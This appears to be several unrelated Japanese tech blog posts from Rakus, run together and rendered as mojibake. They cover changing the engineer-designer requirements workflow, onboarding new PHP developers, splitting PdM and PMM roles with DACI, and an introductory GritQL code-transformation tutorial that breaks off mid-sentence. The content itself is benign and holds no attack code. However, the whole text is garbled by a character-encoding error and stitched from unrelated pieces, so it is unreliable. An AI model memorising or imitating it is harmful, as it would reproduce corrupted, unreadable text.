ã¡ãŒã«ããŒã ã®èŠä»¶å®çŸ©ã®é²ãæ¹ã«ã€ããŠã話ããããããªãšæããŸãã å°ãåã«èŠä»¶å®çŸ©ã®é²ãæ¹ã倿ŽãããšãŠãäœæ¥ãé²ãããããªã£ãã®ã§åèã«ãªãã°ãšæããŸãã ä»ãŸã§ã®é²ãæ¹ æ°ããé²ãæ¹ ãšã³ããŠãŒã¶ãŒã®æ°æã¡âŠïŒ æåŸã« ä»ãŸã§ã®é²ãæ¹ é
é
ã¡ãŒã«ããŒã ã§ã¯ãšã³ãžãã¢ãšãã¶ã€ããŒãååããŠèŠä»¶å®çŸ©ãé²ããŠããŸãã äœæ¥ã®æµãã¯ä»¥äžã®éãã§ãã â ãšã³ãžãã¢åŽã§èŠæ±ä»æ§ã®çè§£ â¡èŠä»¶å®çŸ©æžã«èœãšã蟌ãã§ãã â¢ãã¶ã€ããŒã«UIã®äœæãäŸé Œ ãããããã®æµãã ãšã©ãããŠããšã³ãžãã¢äž»äœã«ãªã£ãŠããŸã ãã¶ã€ããŒçãªèŠç¹ïŒUXã®èгç¹ãªã©ïŒããªããªãåãå
¥ãã¥ãããšããç¶æ
ã§ããã æ°ããé²ãæ¹ ãšã³ãžãã¢ã»ãã¶ã€ããŒäž¡æ¹ã®èŠç¹ãåãå
¥ããŠããããã£ãã®ã§ å°ãåã«ä»¥äžã®é²ãæ¹ã«å€ããŠã¿ãŸããã â ãšã³ãžãã¢ã»ãã¶ã€ããŒãšãã«èŠæ±ä»æ§ã®çè§£ â¡ããããã§äœæ¥ãé²ããŠãã ãã»ãšã³ãžãã¢ïŒéçºçãªèŠç¹ã§ãã©ãããæ©èœãå¿
èŠããªã©ãèããŠãã ãã»ãã¶ã€ããŒïŒUIçãªèŠç¹ã§ãã«ãœãããŠãŒã¶ãŒã¹ããŒãªãŒãèããŠãã â¢ãäºãã®ææç©ãããåããã â£ãã¶ã€ããŒåŽã§ããåãããææç©ãããšã«UIãæ€èšãã â€äœæããŠããã£ãUIãããšã«èŠä»¶å®çŸ©æžãäœæããŠãã äžèšã®æµãã«å€ããããšã«ãã£ãŠãè¯ãã£ãïŒå©ãã£ãïŒç¹ããã£ãã®ã§ç޹ä»ããããšæããŸãã ãšã³ããŠãŒã¶ãŒã®æ°æã¡âŠïŒ äžèšã®é²ãæ¹ã«å€æŽåŸãåããŠã®æ¡ä»¶ããªããªãã®åŒ·æµã§ããã ãã®æ¡ä»¶ã§ã¯ãé
é
ã¡ãŒã«ãå©çšããã客æ§ã ãã§ã¯ãªãã ãã®å
ã®ãšã³ããŠãŒã¶ãŒã®èŠç¹ã§ãUIãæ€èšããå¿
èŠããããŸããã ä»ãŸã§ã¯ãé
é
ã¡ãŒã«ãå©çšããã客æ§ã®ã¿ãå©çšããæ©èœã°ããã ã£ãã®ã§ ãšã³ããŠãŒã¶ãŒçãªäœ¿ãããããªã©ããšã³ãžãã¢åŽã§ã¯åãããªãç¶æ
ã§ããã ãããããã¶ã€ããŒãèŠæ±ä»æ§ããã©ãã©ãåå ããŠãããããã«ãªã£ãã®ã§ ç¹ã«å°ãããšããªããUIã®äœæãã¹ã ãŒãºã«é²ãã ã®ã§ãšãŠãå©ãã£ãèšæ¶ããããŸãã ãŸãããã«ãœãããŠãŒã¶ãŒã¹ããŒãªãŒããã¡ããšäœæããŠããã£ãã®ã§ ä»ãŸã§æ°ä»ããªãã£ãèŠç¹ïŒãã®æäœã¯ãŠãŒã¶ãŒã«ã¯é£ããããããããªããïŒãªã©ïŒãçã蟌ãããšãã§ãã ããè¯ãèŠä»¶å®çŸ©ã«ãªã£ããšæããŠããŸãã æåŸã« ããæ¹ãã¬ã©ããšå€ããããšã«ãããæåã¯ããŸãé²ãŸãªãã£ããšããããããŸãããã ãäºãããµããŒããåãããšã«ãã£ãŠãããããèŠä»¶å®çŸ©ã宿ãããããšãã§ãããšæã£ãŠããŸãã ã¯ãããŠã®æ¡ä»¶ã§äœæããæ©èœããããããªãªãŒã¹ãããã®ã§ã å€ãã®äººã«ã䜿ããããããšæã£ãŠãããããšãããªãšä»ããã¯ã¯ã¯ã¯ããŠããŸãã æåŸãŸã§èªãã§ããã ãããããšãããããŸããã
ç®æ¬¡ ç®æ¬¡ æŠèŠ ã¡ãŒã«ãã£ãŒã©ãŒéçºèª²ã®çŽ¹ä» ã¡ãŒã«ãã£ãŒã©ãŒã«ã€ã㊠éçºäœå¶ é
å±åŸç ä¿®ã§èº«ã«çããã¹ãã« ç ä¿®ã«äœ¿ãæè¡æž 課é¡å³æž ãã¬ãŒããŒãšããŠæ°ãä»ããããš å¿
èŠç¥èã®å
±æ 質åãæãé°å²æ°äœã é
å±åŸç ä¿®å®äºåŸã®ã¹ãã«æ¯æŽäœå¶ ãŸãšã æŠèŠ ãã®èšäºã¯æ°å瀟å¡ã®ã¡ãŒã«ãã£ãŒã©ãŒéçºèª²é
å±åŸç ä¿®ã®å®æœå
容ã«ã€ããŠæžãããŠããŸãã ã©ã¯ ã¹ã§ã¯æè¡è·ã®æ°åã¡ã³ããŒã¯å
¥ç€ŸåŸ3ã¶æéã®æ±äº¬ç ä¿®ïŒä»¥äžå
¥ç€ŸåŸç ä¿®ïŒãçµãŠãïŒæããçŸå Žã«é
å±ãããŸãã ã¡ãŒã«ãã£ãŒã©ãŒéçºèª²ã§ã¯é
å±åŸãçŽ1ã¶æã»ã©ã®ç ä¿®ïŒä»¥äžé
å±åŸç ä¿®ïŒã OJT ãéããŠçŸå Žã§å¿
èŠãªç¥èãçµéšãç²åŸããæ¥åãéè¡ããŠãããŸãã ã¡ãŒã«ãã£ãŒã©ãŒéçºèª²ã®çŽ¹ä» ããããã¡ãŒã«ãã£ãŒã©ãŒã«ã€ããŠè©³ããç¥ããªãæ¹ãããã£ãããããšæãã®ã§ãç°¡åã«ãããã¯ãã®ç޹ä»ãšã¡ãŒã«ãã£ãŒã©ãŒéçºèª²ã®äœå¶ã«ã€ããŠèª¬æããŸãã ã¡ãŒã«ãã£ãŒã©ãŒã«ã€ã㊠ã¡ãŒã«ãã£ãŒã©ãŒãšã¯ã¡ãŒã«å
±æã»ç®¡çãè¡ãã·ã¹ãã ã§ãã 詳ããã¯ãã¡ããåç
§ãã ããã www.maildealer.jp éçºäœå¶ ã¡ãŒã«ãã£ãŒã©ãŒéçºèª²ã¯ç·å¢13åïŒ2023幎11æçŸåšïŒã§ãèŠä»¶å®çŸ©ãè¡ãäžæµããŒã 2åãæŠèŠèšèšãããã¹ããè¡ãå®è£
ããŒã 7åãšãåãåãã察å¿ãéçšæ¥åãè¡ãéçšãµããŒãããŒã 3åã§æ§æãããŠããŸãã ä»å¹Žã®7æããæ°ãã«æ°åã¡ã³ããŒãå®è£
ããŒã ã«é
å±ãããåããå®è£
ããŒã ã®æ°åäºå¹Žç®ã§ããç§ãæè²ä¿ã«ä»»åœãããŸããã é
å±åŸç ä¿®ã§èº«ã«çããã¹ãã« å
¥ç€ŸåŸç ä¿®ã§ã¯ãããã°ã©ãã³ã°ã®åºç€ãã ãã¬ãŒã ã¯ãŒã¯ ã SQL ãªã©Webéçºãè¡ãã«ããã£ãŠå¿
èŠãªåºç€ç¥èã身ã«ä»ããŸãã äžæ¹é
å±åŸç ä¿®ã§ã¯ãçŸå Žã§å¿
èŠãªç¥èãç¿åŸããŸããäž»ãªåŠç¿å
容ãšããŠã¯ä»¥äžã«ãªããŸãã PHP Laravel ãããã¯ãã®çè§£ ã³ãŒãã£ã³ã°èŠçŽ ãœãããŠã§ã¢ãã¹ã ã®åºç€ æš¡æ¬ä¿®æ£èª²é¡ ã¡ãŒã«ãã£ãŒã©ãŒã¯ PHP ã«ããå®è£
ãããŠããããã PHP ãšLaravelã«ã€ããŠæžç±ãéããŠåŠç¿ãè¡ããçè§£ããå
容ã課é·ãšæè²æ
åœïŒç§ã§ãïŒã«åããŠçºè¡šããŸãã æ¬¡ã«ããããã¯ãïŒã¡ãŒã«ãã£ãŒã©ãŒïŒã«ã€ããŠã®çè§£ãæ·±ããŸããå
·äœçã«ã¯ã·ã¹ãã ã®æŠèŠãããã¥ã¢ã«ã ã¢ãŒããã¯ã㣠ã éçºããã»ã¹ ã®çè§£ãè¡ããŸãã ãœãããŠã§ã¢ãã¹ã ã®åºç€ã«ã€ããŠåŠç¿ãè¡ããŸãããã¡ããæžç±ã§ãã¯ã€ãããã¯ã¹ã» ãã©ãã¯ããã¯ã¹ãã¹ã ã«ã€ããŠåŠç¿ããçºè¡šããŠããããŸãããã®åŸã ãã©ãã¯ããã¯ã¹ãã¹ã äœæã®æš¡æ¬èª²é¡ãéããŠçè§£ãæ·±ããŸãã æåŸã«å®éã®ã¡ãŒã«ãã£ãŒã©ãŒã® ãœãŒã¹ã³ãŒã ã粟èªããŠããããæŒç¿èª²é¡ãå®è£
ããŠããããŸããæŒç¿èª²é¡ã§ã¯ãæ©èœéçºã PHPUnit ã«ããèªåãã¹ãã®éçºãè¡ããããçŸå Žã«è¿ãå
容ã宿œããŸãã ãŸãããããã®ç ä¿®ã®åéã®æéã䜿ããæ°å課é¡å³æžã®èªæžã瀟å
ã¹ãã«ãã¹ãã®åéšãè¡ã£ãŠããããŸãã 課é¡å³æžã¯ãæå®ãããæè¡æžãããžãã¹æžããäžåãéžã³ãèªäºåŸçºè¡šããŠããããŸãã 瀟å
ã¹ãã«ãã¹ã㯠Linux ã®åºç€ã SQL ã®åºç€ãWebã®åºç€ã®äžé
ç®ãããããããåæ ŒãããŸã§åéšããŠããããŸãã 以äžãæ°å瀟å¡ã®é
å±åŸç ä¿®ãšãªããŸããé
å±åŸç ä¿®åŸã¯ç°¡åãªãã°ä¿®æ£çã® OJT ãçµãŠåŸã
ã«é£æåºŠã®é«ãã¿ã¹ã¯ã宿œããŠãããŸãã ç ä¿®ã«äœ¿ãæè¡æž æžç±ïŒ ãªã©ã€ãªãŒ ïŒåããŠã® PHP æžç±ïŒ PHP å
¥é PHP ãã¬ãŒã ã¯ãŒã¯ Laravel Webã¢ããªã±ãŒã·ã§ã³éçº èª²é¡å³æž ãšã³ãžãã¢ã説æäžæã«ããæ¬ 人ãåãã ãªããããªãã®ä»äºã¯çµãããªãã®ã ã¹ããŒãã¯æåŒ·ã®æŠåšã§ãã ãããã! ãè¡ååããé«ããâç§åŠçãª"æ¹æ³ åŠã³ãçµæã«å€ããã¢ãŠãããã倧å
š è³ã®ããã©ãŒãã³ã¹ãæå€§ãŸã§åŒãåºã ç¥ã»æéè¡è³ã®ããã©ãŒãã³ã¹ãæå€§ãŸã§åŒãåºã ç¥ã»æéè¡ ã©ã€ããã€ããŠãŸãã ïŒ é人 ããã°ã©ã㌠äŒãæ¹ã9å² Team Geek ãã€ã³ãã»ãã ãããã°ã§ãã! ãã®ç ç©¶ 1åã§è©±ã (1åã§è©±ã äžçã®ããããçµ¶è³ãã倧äºãªããšã ãã·ã³ãã«ã«äŒããæè¡) ããžã«ã«ã»ãã¬ãŒã³ããŒã·ã§ã³ ãã¬ãŒããŒãšããŠæ°ãä»ããããš å»å¹Žã¯èªèº«ãæè²ãåããåŽã ã£ãããšãããããã®çµéšã掻ãããç¹ãã玹ä»ããŸãã å¿
èŠç¥èã®å
±æ ã¡ãŒã«ãã£ãŒã©ãŒã¯æŽå²ãé·ããµãŒãã¹ãšããããšãããç ä¿®ã§ã¯è§ŠããããŠããªãããã©ãäºåã«ç¥ã£ãŠãããªããšèºããã€ã³ããçµæ§ãããŸãã å»å¹Žã®ç§ãäŸå€ãªãèºããŸããããã®ãããä»åã®ç ä¿®ã§ã¯æãã€ãéãã®èºããã€ã³ããäºåã«äŒããŸããã ãŸããçè§£ãé£ããè€éãªä»æ§ã«ã€ããŠãã詳现ãªèª¬æãããŸãããããã«ãããåéããªã©ã«ããééã£ãå®è£
ãé²ãããšãã§ãããšæã£ãŠããŸãã 質åãæãé°å²æ°äœã ãã¯ãæè²ä¿ãšããŠã¯ãäžäººã§æ±ã蟌ãããæ©ãã«è³ªåã»çžè«ããŠããã£ãæ¹ã ãªã«ã㪠ãŒãå¹ããããå©ãããŸãã ããããªãããæåã®ãã¡ã¯ãªããªãç©æ¥µçã«è³ªåãã¥ãããã®ã ãšæããŸãã ãªã®ã§ãæåã®ãã¡ã¯é©å®éè«ããããã宿çã«é²æã®ç¢ºèªãè¡ã£ãããšã質åãæãé¢ä¿æ§ã»é°å²æ°äœããæèããŸããïŒå¿ãããšãã¯è©±ãããã¥ãããªãŒã©ãåºãŠããããã§ããïŒã é
å±åŸç ä¿®å®äºåŸã®ã¹ãã«æ¯æŽäœå¶ é
å±åŸç ä¿®ãå®äºåŸãæ°åã¡ã³ãã®åŠç¿ã¯ç¶ããŸãã ãããã¯ãã®ã³ãŒã粟èªãã¡ãŒã« ãããã³ã« åŠç¿ãã»ãã¥ãªãã£åŠç¿ãDBåŠç¿ã OSS -DB Silveråéšãªã©ãæ¥åãšäžŠè¡ããŠå®æœããŸãã ãŸããäºå¹Žç®ããã¯äžå
ãšã³ãžãã¢è²æã«ãªãã¥ã©ã ãéããŠç¶ç¶çãªæé·ãæ¯æŽããä»çµã¿ããããŸãã ããã«ãããæŠèŠèšèšã çµåãã¹ã ãè² è·ãã¹ãã®å®æœãªã©æ¥åã®å¹
ãåºããããšãã§ããŸãã ãŸãšã æ¬ããã°ã§ã¯ã ã©ã¯ ã¹ã®ã¡ãŒã«ãã£ãŒã©ãŒéçºèª²ã«ãããæ°åã¡ã³ããŒã®ç ä¿®ã«ã€ããŠã玹ä»ããŸããã ã©ã¯ ã¹ã§ã¯ãå
¥ç€ŸåŸç ä¿®ãé
å±åŸç ä¿®ã OJT ãéããŠãå®åã«å¿
èŠãªç¥èãšçµéšãçå®ã«ç¯ããŠãããŸããæŽã«ãç ä¿®çµäºåŸãåŠç¿ã¿ã¹ã¯ãèšããããäºå¹Žç®ä»¥éã¯äžå
ãšã³ãžãã¢è²æã«ãªãã¥ã©ã ã«ãåãçµãããšãã§ããèªèº«ãæ
åœã§ããæ¥åã®å¹
ãåºããŠããããšãå¯èœã§ãã ã©ã¯ ã¹ã§ã¯ãæç¶çãªåŠã³ãšæé·ãæ¯æŽããããšã³ãžãã¢ãšããŠã®ã¹ãã«åäžãç¶ç¶çã«ãµããŒããããŠããŸãã æ¬èšäºãæåŸãŸã§ãèªã¿ããã ããã©ããããããšãããããŸããã ã
çãããããã«ã¡ã¯ïŒãããã¯ããã°ãã¯ïŒ 楜楜粟ç®ãããã¯ããããŒãžã£ãŒã®wekkyyyyã§ãã ååã¯ãPBIã®åªå
床èšå®æ¹æ³ã®ãã€ã³ããšèšå®ããããšã®çãããšããã¿ã€ãã«ã§èšäºãããããŠããã ããŸããã tech-blog.rakus.co.jp ä»åã¯ã PdMãšPMMã®åœ¹å²åæ
ã»é£æº ãšããããŒãã§ããã°ãèšèŒããŸãã ç®æ¬¡ã¯ä»¥äžãšãªããŸãã 察象èªè
åæ èæ¯ åºæ¬æ¹é æ±ºå®æ¹æ³ 決å®å
容(äžéšå) (ãã£ãŠã¿ãŠ)ã¡ãªãã¡ ã©ã¯ã¹ã®PdMãšããŠæŽ»èºããŠã¿ãŸããã? 察象èªè
以äžã®ãããªæ¹ã«èªãã§ãããããšæç ã«ãªããšèããŠãããŸãã PdMã£ãœã人ãšPMMã£ãœã人ããããã©ãå®éäœããããããããŸã£ããããããªã PdMãšPMMã£ãŠåœ¹å²ã¯åãããŠããã©æ¥åã« ã«ã ã°ãããã PdMãšPMMã®åæ¥ã¯ãããŸããã£ãŠããã©ååãæšªå±éã¯ã§ããŠãªã åæ åºæ¬çã«çè
ã¯PdMã以äžã®åœ¹å²ãšæããŠããŸãã ãããã¯ãã®æé·ã®ããã«ç©Žãåãã人 ä»ã® ã©ã¯ ã¹(楜楜粟ç®)ã§ã®åæ
ã§ãã åäŒç€Ÿããããã¯ãã«ãã£ãŠåæ
å
容ã¯å€ãããŸãã èæ¯ PdMçµç¹ãç«ã¡ããããŸã§ã¯ã以äžã®å³ã®ããã«äºæ¥ãµã€ãã®PMMãPdMã®åœ¹å²ãå
ŒåããŠããç¶æ
ã§ããã ããããäºæ¥ãµã€ãã®ã«ããŒç¯å²ãåºããªã£ãŠããã å¿
èŠæéã»åŸæé åã®äžäžèŽã«ãã質ã®ç¢ºä¿ãé£ãããªã¹ã¯ãæ±ããŠããç¶æ
ã§ããã ãã®ããã以äžã®ããã«éçºãµã€ãã«PdMçµç¹ãç«ã¡äžããã圹å²åæ
ãããããšã§è³ªã»éãšãã«ïŒåªå
床ãšããŠã¯è³ªïŒãããŠããããšãçµç¹ãšããŠæ±ºæããŠãããŸãã åºæ¬æ¹é PdM/PMMã¡ã³ããŒã®ãªãœãŒã¹ã»ã¹ãã«ã»ãããéã¿ãŠæ±ºå®ããã ãšããããšãåºæ¬æ¹éãšããŠæ±ºããŠãããŸãã æ±ºå®æ¹æ³ ãDACIããšãã ãã¬ãŒã ã¯ãŒã¯ ã䜿çšããŠæ±ºå®ããŸããã DACIãšã¯ããDriverïŒæšé²è
ïŒ, AccountableïŒè²¬ä»»è
ïŒ, Consulted (çžè«å
), Informed (å ±åå
)ãã®é æåããšã£ããã®ã§ãã ãã®DACIã®åœ¹å²ããOutputããå·¥çšããšçŽã¥ããŠå²ãåœãŠãŠãããŸããã ã â»å²ãåœãŠå
容ã¯ãPdM/PMMåè°ã®äžæ±ºå®ããŠãããŸãã D: Driver (æšé²è
) ç¹å®ã®ã¿ã¹ã¯ãæšé²ããå®è¡ã«è²¬ä»»ãæã¡ãŸãã A: Accountable (責任è
) æçµçãªæææ±ºå®è
ãŸãã¯æ¿èªè
ãšãªããã¿ã¹ã¯ã®æåã«è²¬ä»»ãè² ããŸãã C: Consulted (çžè«å
) Driver (æšé²è
)ãããå¿
èŠãªè¿œå æ
å ±ã詳现ã«ã€ããŠã®çžè«ã»å®è¡ãåãã人ãŸãã¯ããŒã ãæããŸãã I: Informed (å ±åå
) 鲿ããæ±ºå®å
容ã«ã€ããŠãå ±åã»å
±æãåãã人ãæããŸãã æ±ºå®å
容(äžéšå) 以äžç»åã«ãŠã決å®å
容ã®äžéšåãå
¬éããããŸãã ãã詳现ãªå
容ã¯ãèšããç¯å²ã§ã«ãžã¥ã¢ã«é¢è«ã»éžèã§äŒè©±ãããŠããã ãããšãããããã§ãã åºæ¬çã«ã¯ã PRDãäœæããããã®å¿
èŠèŠçŽ ã«ã€ããŠã¯ãããŒã±ããæ
å ±ã®åéãPMMããã®ä»ãPdMããDããšããŠããŸãã ãã®ä»ãGoToMarketã«é¢ããéšåã¯ãPMMããDãã«ããŠããŸãã (ãã£ãŠã¿ãŠ)ã¡ãªãã¡ ã¡ãªãã PdM/PMMããããã®åŸæé åã«å°å¿µã§ããããã«ãªã£ã åŸæãªäººã®Outputããããã以å€ã®äººãåŠç¿ã®æ©äŒãæãŠãããã«ãªã£ã æ¥åå¹çãã¢ãããã åŸç¶äœæ¥ã®æ
åœè
ããã®è³ªåäºé
ããããæ·±ãé åã®ãã®ã«ãªã£ã(çµç¹ãšããŠã®ã¯ãªãªãã£ã¢ãã) ãžã§ããã£ã¹ã¯ãªãã·ã§ã³ãæç¢ºã«ãªã£ã æ¡çšã«ãããŠã瀟å
ããšãŒãžã§ã³ãã®æ¹ãªã©å
±éèšèªãã§ãçžäºçè§£ã«å¯äžãã ãã¡ãªãã (äžã®äžã«çšã«ãã)äºæ¥ã®æé·ã«å¯ŸããŠããªãã§ã穎ãåããããPdMãã£ãªã¢ãæ©ãããšã¯é£ãã çè
ã¯ããªãã§ãèªåã²ãšãã§è¡ãå¿
èŠã¯ãªããšèããŠããããäžå®ç®æãããæ¹ã¯ãããšæ³å® ã©ã¯ ã¹ã®PdMãšããŠæŽ»èºããŠã¿ãŸããã? 楜楜粟ç®PdMã¯ãåŒãç¶ã人æãåéããŠãããŸãã æ¯éã«ãžã¥ã¢ã«é¢è«ãããç³ã蟌ã¿ããã ãããšå¹žãã§ãã career-recruit.rakus.co.jp
ããã«ã¡ã¯ãããã³ããšã³ãéçºèª²ã® koki _matsuraã§ãã ä»åã¯X(æ§ Twitter )ã§è©±é¡ã«ãªã£ãŠãã ãã¹ã(æ§ãã€ãŒã) ãèŠãŠãå®éã«Gritã® ãã¥ãŒããªã¢ã« ãéããŠè§Šã£ãŠã¿ãã®ã§ãåå¿é²çãªæãã§è»œãGritã®æŠèŠãã¯ãšãªèšèªã§ããGritQLã®åºç€çãªæ§æã玹ä»ãããŠããã ããŸãã ç®æ¬¡ã¯ä»¥äžã®ããã«ãªã£ãŠããŸãã Gritãšã¯ GritQLãšã¯ ãã¥ãŒããªã¢ã« ã³ãŒãã®æ€çŽ¢ ã¡ã¿å€æ° ã³ãŒãã®å€æ æ¡ä»¶ä»ã倿 ãã¿ãŒã³ä¿®é£Ÿå ãã¿ãŒã³ã®åå©çš çµããã« Gritãšã¯ ãœãããŠã§ã¢ã®ã¡ã³ããã³ã¹ãç°¡æœã«ããŠãããããŒã«ã§ãã å
·äœçã«ã¯å¯Ÿè±¡ã®ã³ãŒããç®çã®ã³ãŒãããŒã¹ã®ç¶æ
ã«å€æããŠããããã®ã§ãã Gritã®å€§éšåã¯éçè§£æã«ããã³ãŒãæäœãå¯èœã«ããã¯ãšãªèšèªã§ããGritQLãšå€æãç®çã®ã³ãŒãããŒã¹ã®ã«ãŒã«ã«é©çšãããAIã«ããæ§æãããŠããŸãã çŸåšã¯ããŒã¿ããŒãžã§ã³ã§ãã www.grit.io GritQLãšã¯ GritQLèšèªãšã¯ã³ãŒãã®æ€çŽ¢ãšå€æã®ããã®Gritã®ã¯ãšãªãŒèšèªã§ãã å°ãªãè¡æ°ã®ã¯ãšãªã§è€éãªå€æãå¯èœãšããŠããŸãã ãã¥ãŒããªã¢ã« ããããã¯å®éã«GritQLã ãã¥ãŒããªã¢ã« ãéããŠè§Šã£ãŠãããããšæããŸãããããããªã¯ãšãªãæžãããŠããŸããPatternsã®æåã®äŸãèŠãŠã¿ãŸãããã äžã®ç»åã«ãããRun PatternããæŒããšãã®äŸã®ã¯ãšãªãæžããããšãã£ã¿ãå³ã«åºãŠããŸãã ãšãã£ã¿ã®äžãGritQLã§äžãã€ã³ãããã®ã³ãŒãã§ãã ãŸããããå°ã倧ãããšãã£ã¿ã§æžãããå Žåã¯å³äžã®ãªã³ã¯ããStudioã䜿ããŸãããã åæç»é¢ã«ã¯ããã©ã«ãã§äœãã®ã¯ãšãªãæžããŠãããããããŸããããæ¶ãã°åé¡ãªãèªç±ã«æžãããšãã§ããŸãã ã€ã³ãããã®ã³ãŒããèªç±ã«ç·šéå¯èœã§ãã ã³ãŒãã®æ€çŽ¢ æå㯠console.log("Hello world!") ã®äŸãèŠãŠã¿ãŸãããã ãã®äŸã¯ã·ã³ãã«ã§ã€ã³ãããã®ã³ãŒãã®äžãã console.log("Hello world!") ãæ€çŽ¢ããŠããŸãã äŸãã°ã console.log(42) ã«æžãæããŠã¿ãŸãããããããšãã€ã³ãããã³ãŒãã®åå¿ããéšåãå€ãããŸãã éåžžã«ç°¡åã«æ€çŽ¢ãã§ããŸããããããªãããäžã€æ³šç®ããã¹ããªã®ã¯ã³ãŒãã«ã¯åå¿ããŠããŸããã ã³ã¡ã³ãã«ã¯åå¿ããªã ããšã§ããããã¯GritQLãåçŽãªæååãããã³ã°ã§ãªãã JavaScript ãšããŠæ©èœããŠãããã®ã«åå¿ãã ãšããããšã§ãã ãªã®ã§ã以äžã®ãããªã³ã¡ã³ãã§ã¯ãªãæååã®å ŽåãJSã§ã¯ãªãã®ã§åå¿ããŸããã `Hello world!` ããããåçŽã«æååãæ€çŽ¢ãããæããããšæããŸãããã®ãããªæã¯ã "" ã§å²ãããšã§ä»»æã®æååæ€çŽ¢ãã§ããŸãã ã¡ã¿å€æ° ã¡ã¿å€æ°ãšã¯ç¹ã«æå³ã®ãªã倿°ã®ããšã§ããç¹ã«æ¥æ¬ã§ã¯ hoge ã fuga ãæåã ãšæããŸãã å
ã»ã©ã® console.log("Hello world!") ã®äŸã§ã¯ã³ã³ãœãŒã«ã®äžèº«ãã Hello world !ãã§ãªããšåå¿ããŸãããããã§ã¯å®çšæ§ã¯äœãã§ãã ããã§ã¡ã¿å€æ°ã䜿ããŸããããäœ¿ãæ¹ã¯ä»¥äžã®ããã«ããŸãã console .log ( $message ) ããã§ã³ãŒãäžã® console.log ããã£ããã§ããŸãã GritQLã§ã¡ã¿å€æ°ã䜿ãããã«ã¯ãããããããéšåã奜ããªå€æ°åã«ããŠå
é ã« $ ããŒã¯ãã€ããã ãã§ãã ã³ãŒãã®å€æ æ€çŽ¢ãã§ããã倿ãã§ãããšãããGritQLã®ç®çæ©èœãšãªã£ãŠããŸãã ããæ¹ã¯ã·ã³ãã«ã§ã 倿ãããå€ => 倿åŸã®å€ ã§ãã 以äžã®äŸã§ã¯ JavaScript ã® var ã const ã«çœ®ãæãããã®ã§ãã var ãæååãšããŠæ€çŽ¢ããŠããŸãã "var" => `const` çµæã¯ä»¥äžã®ããã«varãconstã«æžãæããããŠããŸãã æ¡ä»¶ä»ã倿 倿ã«å¯ŸããŠæ¡ä»¶ãèšããã®ãç°¡åã§ãã SQL ãšåãã§ whereå¥ ã䜿ããŸãã äŸãã°ãå®çšæ§ã¯äœãã§ãããç¹å®ã®consoleã ããalertã«ãããå Žåã¯ä»¥äžã®ããã«ããŸãã `console.log($message)` => `alert($message)` where { $message <: `"ãããalertã«ãã"` } <: ã¯ããã æŒç®å ãšããã $message ã "ãããalertã«ãã" ãšäžèŽããããèŠãŠããŸãã çµæã¯ä»¥äžã®ããã«ããããalertã«ããã以å€ã®consoleã¯æžãæããããŠããŸããã GritQLã§ã¯ where ã ãã§ãªãã or ã and ãªã©ã䜿ããŸãã äŸãã°ã以äžã®ã¯ãšãªã¯å
¬åŒãåºããŠãããNon-strict == => strict ===ãã§ããorãšwhereã䜿ã£ãå®çšçãªãã®ã§ãã or { `$x == $y` => `$x === $y` , `$x != $y` => `$x !== $y` } where { $y <: not `null` } ãã®äŸã§ã¯ç䟡ã»äžç䟡 æŒç®å ãå³å¯ç䟡ã»äžç䟡 æŒç®å ã«å€æãããŠããŸããæ¡ä»¶ãšããŠãæ¯èŒã®å³åŽã null ã§ã¯ãªãæã®ã¿ã«ãªããŸãã çµæã¯ä»¥äžã®ããã« $y == null 以å€ã¯å³å¯ç䟡ã»äžç䟡 æŒç®å ã«å€æãããŠããŸãã ãã¿ãŒã³ä¿®é£Ÿå ãã¿ãŒã³ä¿®é£Ÿåãšããã®ã¯å
ã»ã©äœ¿ã£ã and ã or ãªã©ã®ãããã³ã°æ¹æ³ã倿ãããã®ã®ããšãèšããŸãã åäœã§äœ¿ãã®ã§ã¯ãªããè€æ°ãçµã¿åãããããšã§ããæè»ã«å¯Ÿå¿ããããšãã§ããŸãã å
¬åŒã®ãFunction expressions to arrow functionsããäŸã«åããŸãã ããã¯ååãããããããšæããŸããã颿°ã®æžãæ¹ã倿ãããã®ã§ãã or { `function ($args) { $body }` => `($args) => { $body }` where { $body <: not contains { or { `this` , `arguments` } } until `function $_($_) { $_ }` } , `($args) => { return $value }` => `($args) => $value` } ä»ãŸã§ã®äŸãšæ¯ã¹ããšããªãè€éã«èŠããŸãããå°ããã€è§£éããŠããã°é£ãããããŸããã ïŒè¡ç®ã® or ã¯ã³ãŒããã function ($args) { $body } ã ($args) => { return $value} ã®ã©ã¡ããã«åœãŠã¯ãŸããã®ãæœåºããŠããŠããŸãã ($args) => { return $value} ã«é¢ããŠã¯ä»¥äžã®ããã« ($args) => $value ã«å€æããŠããã ãã§ãã function ($args) { $body } ã®æ¹ã¯ ($args) => { $body} ã«å€æããã®ã§ããæ¡ä»¶ãã€ããŠããŸãã ãã®æ¡ä»¶ã®äžã§ contains ãš until ãæ°ããåºãŠããŸãããããã説æããŸãã contains ïŒ ç¹å®ã®ãã¿ãŒã³ãå«ãã§ãããã©ããããã§ãã¯ããŸããä»åã®å Žå㯠$body ã®äžã« this ãŸã㯠arguments ãå«ãã§ããªãããšãæ¡ä»¶ãšãªã£ãŠããŸãã until ïŒ contains ãšå
±ã«çšãããã®ã§ããã¿ãŒã³ãã§ãã¯ãã©ããŸã§ããã®ããæ±ºããããŸããä»åã®å Žåã§ã¯ã function $_($_) {$_} ã«ãããããæ§æã«ã¶ã€ãããŸã§ãã¿ãŒã³ãã§ãã¯ãè¡ãããã«èšå®ããŠããŸãã ã¡ãªã¿ã«ã $_ ã¯å¿åã¡ã¿å€æ°ãšããã ã¯ã€ã«ãã«ãŒã çãªæãã§äœ¿ããã®ã§ãã $body <: not contains { or { `this` , `arguments` } } until `function $_($_) { $_ }` ãã£ãŠãäžèšã®ãã¿ãŒã³ã¯é¢æ°ã®åŠçã®äžã§ function $_($_) { $_ } ã«ã¶ã€ãããŸã§ã« this ãŸã㯠arguments ãå«ãã§ããªãããšãæ¡ä»¶ã«æã¡ãŸãã çµæã¯ä»¥äžã®ããã«ãªããŸãã remember㯠function $_($_) { $_ } ããããããªãã®ã§ã颿°ã®åŠçå
容å
